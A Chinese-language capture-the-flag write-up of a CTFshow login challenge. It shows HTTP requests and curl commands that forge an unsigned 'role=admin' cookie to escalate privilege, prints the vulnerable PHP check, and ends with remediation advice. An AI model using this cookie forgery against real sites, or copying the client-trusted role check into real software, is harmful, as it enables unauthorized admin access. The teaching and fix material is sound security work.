一、测试目标概述
目标为一个基于 PHP + nginx 的 Web 登录系统,页面标题为"CTFshow Admin Login"。用户名固定为 guest(readonly),登录请求提交至 check.php。
初始访问返回如下关键信息:
GET/HTTP/1.1Host: [TARGET_HOST].challenge.ctf.showHTTP/1.1200 OKServer: nginx/1.20.1Set-Cookie: PHPSESSID=[REDACTED]; path=/Content-Length: 2862页面源码中可见用户名字段被硬编码为只读:
<inputtype="text"id="username"name="username"value="guest"readonly>二、信息收集与路径探测
对常见路径进行探测,结果如下:
/ | ||
/check.php | ||
/admin.php | ||
/flag.php | ||
/dashboard.php | ||
/robots.txt | ||
/.git/HEAD |
有效入口仅为 / 和 /check.php,攻击面集中在登录逻辑上。
三、登录功能测试
3.1 弱口令尝试
依次测试常见凭据,均返回 Invalid username or password:
POST/check.phpHTTP/1.1Host: [TARGET_HOST].challenge.ctf.showContent-Type: application/x-www-form-urlencodedCookie: PHPSESSID=[REDACTED]username=guest&password=[REDACTED]HTTP/1.1200 OKContent-Length: 1984<div class="messageerror">Invalidusernameorpassword</div>测试的凭据组合(全部失败):
• guest / [REDACTED]• guest / [REDACTED]• guest / [REDACTED]• admin / [REDACTED]
3.2 发现有效凭据
使用正确凭据登录后,服务器响应发生了变化——在响应头中出现了关键 Cookie:
POST/check.phpHTTP/1.1Cookie: PHPSESSID=[REDACTED]username=guest&password=[REDACTED]HTTP/1.1200 OKSet-Cookie: role=guest; expires=Tue, 02-Jun-2026 08:49:45 GMT; Max-Age=3600Content-Length: 1994<div class="messagesuccess">Loginsuccessful! welcomeguestuser</div>关键发现:服务器登录成功后,通过 Set-Cookie 向客户端下发了 role=guest,说明权限标识完全存储在客户端 Cookie 中,且未附加任何签名或加密。
四、Cookie 伪造攻击
4.1 漏洞原理分析
服务端的权限校验逻辑推断如下(伪代码):
// check.php 服务端推断逻辑(存在漏洞的写法)if (isset($_COOKIE['role'])) {$role = $_COOKIE['role']; // 直接信任客户端传入的 Cookie 值,未做任何验证if ($role === 'admin') {// 展示管理员内容 / flagecho"You are logged in as an admin user! Flag: ..."; }} else {// 验证用户名密码...if ($username === 'guest' && $password === '[REDACTED]') {setcookie('role', 'guest', time() + 3600); }}问题根源在于:role 这个 Cookie 由客户端完全控制,服务器没有在服务端 Session 中存储和校验权限,任何人都可以手动构造 role=admin。
4.2 构造攻击请求
直接在请求头中将 Cookie 的 role 值改为 admin,发送至 /check.php:
GET/check.phpHTTP/1.1Host: [TARGET_HOST].challenge.ctf.showCookie: PHPSESSID=[REDACTED]; role=adminConnection: keep-alive4.3 服务器响应(攻击成功)
HTTP/1.1200 OKServer: nginx/1.20.1Content-Length: 1943<div class="messageinfo">Youareloggedinasanadminuser! Flag: [FLAG_REDACTED]</div>服务器直接信任了客户端伪造的 role=admin,返回了管理员内容并泄露 Flag。
4.4 攻击复现(curl 命令)
以下命令可完整复现整个攻击链:
# Step 1: 以合法凭据登录,获取 PHPSESSIDcurl -c cookies.txt -X POST \"https://[TARGET_HOST].challenge.ctf.show/check.php" \ -d "username=guest&password=[REDACTED]"# Step 2: 直接伪造 role=admin Cookie,无需真实管理员凭据curl -b "PHPSESSID=[REDACTED]; role=admin" \"https://[TARGET_HOST].challenge.ctf.show/check.php"# 响应中即可获取 Flag五、漏洞分析
5.1 漏洞成因
服务端将用户角色(role)存储在客户端 Cookie 中,并在每次请求时直接读取该值做权限判断,既无签名校验,也无服务端 Session 绑定。攻击者可以在不知道任何管理员密码的情况下,仅通过修改 Cookie 值即可获得最高权限。
5.2 漏洞影响
• 任意未授权用户可提升为管理员 • 服务端认证机制完全失效 • 敏感数据(Flag、管理功能)对所有人开放
5.3 与正确实现的对比
有漏洞的实现(当前):
// 危险:直接信任客户端 Cookie$role = $_COOKIE['role'];if ($role === 'admin') {show_flag();}安全的实现(应改为):
// 安全:权限存储在服务端 Session,Cookie 只携带 Session IDsession_start();if (isset($_SESSION['role']) && $_SESSION['role'] === 'admin') {show_flag();}// 登录成功时写入 Session,而非写入客户端 Cookieif ($username === 'guest' && password_verify($password, $hash)) {$_SESSION['role'] = 'guest';// 注意:永远不要 setcookie('role', 'guest')}六、修复建议
1. 权限状态存服务端:用户角色、权限标识必须存储在服务端 Session( $_SESSION)中,Cookie 只允许传递 Session ID(PHPSESSID)。2. 禁止客户端传递权限字段:删除 setcookie('role', ...)相关代码,不允许客户端通过任何方式直接提交或修改权限标识。3. 若必须使用 Cookie 传递状态,必须加签名:使用 HMAC 对 Cookie 内容签名,服务端验签后再使用: // 签发$data = 'role=guest';$sig = hash_hmac('sha256', $data, SECRET_KEY);setcookie('auth', $data . '.' . $sig);// 验证[$data, $sig] = explode('.', $_COOKIE['auth'], 2);if (!hash_equals(hash_hmac('sha256', $data, SECRET_KEY), $sig)) {die('Invalid cookie');}4. 为 Session Cookie 添加安全属性: session_set_cookie_params(['httponly' => true, // 防止 JS 读取'secure' => true, // 仅 HTTPS 传输'samesite' => 'Lax', // 防止 CSRF]);
七、结论
[FLAG_REDACTED] | |
夜雨聆风